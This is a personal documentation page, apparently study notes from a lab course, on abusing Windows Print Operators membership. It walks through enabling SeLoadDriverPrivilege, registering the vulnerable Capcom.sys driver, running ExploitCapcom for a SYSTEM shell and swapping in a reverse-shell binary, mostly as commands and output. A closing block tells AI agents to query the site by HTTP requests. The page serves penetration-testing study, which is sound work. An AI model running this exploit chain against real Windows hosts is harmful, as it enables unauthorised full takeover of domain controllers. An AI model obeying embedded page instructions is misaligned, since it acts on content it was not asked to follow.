# Print Operators ## Print Operators **Print Operators** is another highly privileged group, which grants its members the `SeLoadDriverPrivilege`, rights to manage, create, share, and delete printers connected to a Domain Controller, as well as the ability to log on locally to a Domain Controller and shut it down ### **Checking Privileges** open CMD with Admin Privilege ```powershell C:\htb> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ================================== ========== SeMachineAccountPrivilege Add workstations to domain Disabled **SeLoadDriverPrivilege Load and unload device drivers Disabled** SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled ``` Download It's well known that the driver `Capcom.sys` contains functionality to allow any user to execute shellcode with SYSTEM privileges. We can use our privileges to load this vulnerable driver and escalate privileges. We can use [this](https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/EnableSeLoadDriverPrivilege.cpp) tool to load the driver. Download it locally and edit it, pasting over the includes below. ```c #include #include #include #include #include #include "tchar.h" ``` ### **Compile with cl.exe** ```powershell C:\Users\mrb3n\Desktop\Print Operators>**cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp** Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29913 for x86 Copyright (C) Microsoft Corporation. All rights reserved. EnableSeLoadDriverPrivilege.cpp Microsoft (R) Incremental Linker Version 14.28.29913.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:EnableSeLoadDriverPrivilege.exe EnableSeLoadDriverPrivilege.obj ``` ### **Add Reference to Driver** Next, download the `Capcom.sys` driver from [here](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys), and save it to `C:\temp`. Issue the commands below to add a reference to this driver under our HKEY\_CURRENT\_USER tree. ```powershell C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys" C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1 # HKCU\System\CurrentControlSet\CAPCOM => path of register which data put in current user # ImagePath => path of image # /??/ -> NT Object Path to define path of system files ``` ### **Verify Driver is not Loaded** we can verify that the Capcom.sys driver is not loaded. ```powershell PS C:\htb> .\DriverView.exe /stext drivers.txt PS C:\htb> cat drivers.txt | Select-String -pattern Capcom ``` ### **Verify Privilege is Enabled** Run the `EnableSeLoadDriverPrivilege.exe` binary. ```powershell C:\htb> EnableSeLoadDriverPrivilege.exe whoami: INLANEFREIGHT0\printsvc whoami /priv SeMachineAccountPrivilege Disabled **SeLoadDriverPrivilege Enabled** SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Enabled by default SeIncreaseWorkingSetPrivilege Disabled NTSTATUS: 00000000, WinError: 0 ``` ### **Verify Capcom Driver is Listed** Next, verify that the Capcom driver is now listed. ```powershell PS C:\htb> .\DriverView.exe /stext drivers.txt PS C:\htb> cat drivers.txt | Select-String -pattern Capcom Driver Name : Capcom.sys Filename : C:\Tools\Capcom.sys ``` ### **Use ExploitCapcom Tool to Escalate Privileges** ```powershell PS C:\htb> .\ExploitCapcom.exe [*] Capcom.sys exploit [*] Capcom.sys handle was obained as 0000000000000070 [*] Shellcode was placed at 0000024822A50008 [+] Shellcode was executed [+] Token stealing was successful [+] The SYSTEM shell was launched ``` This launches a shell with SYSTEM privileges. ![image.png](/files/oYidaB46kBLWV0wj4F7v) *** *** ## **Alternate Exploitation - No GUI** we can edit line 292 and replace `"C:\\Windows\\system32\\cmd.exe"` with, say, a reverse shell binary created with `msfvenom`, for example: `c:\ProgramData\revshell.exe`. ```c // Launches a command shell process static bool LaunchShell() { TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe"); PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo = { sizeof(StartupInfo) }; if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo, &ProcessInfo)) { return false; } CloseHandle(ProcessInfo.hThread); CloseHandle(ProcessInfo.hProcess); return true; } ``` The `CommandLine` string in this example would be changed to: ```c TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe"); ``` *** *** ## **Automating the Steps** #### **Automating with EopLoadDriver** We can use a tool such as [EoPLoadDriver](https://github.com/TarlogicSecurity/EoPLoadDriver/) to automate the process of enabling the privilege, creating the registry key, and executing `NTLoadDriver` to load the driver. To do this, we would run the following: ```powershell C:\htb> EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys [+] Enabling SeLoadDriverPrivilege [+] SeLoadDriverPrivilege Enabled [+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\Capcom NTSTATUS: c000010e, WinError: 0 ``` *** ## **Clean-up** #### **Removing Registry Key** ```powershell C:\htb> reg delete HKCU\System\CurrentControlSet\Capcom Permanently delete the registry key HKEY_CURRENT_USER\System\CurrentControlSet\Capcom (Yes/No)? Yes The operation completed successfully. ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://0x2irix.gitbook.io/0x2irix/integrations/windows-privesc/htb/windows-group-privileges/print-operators.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.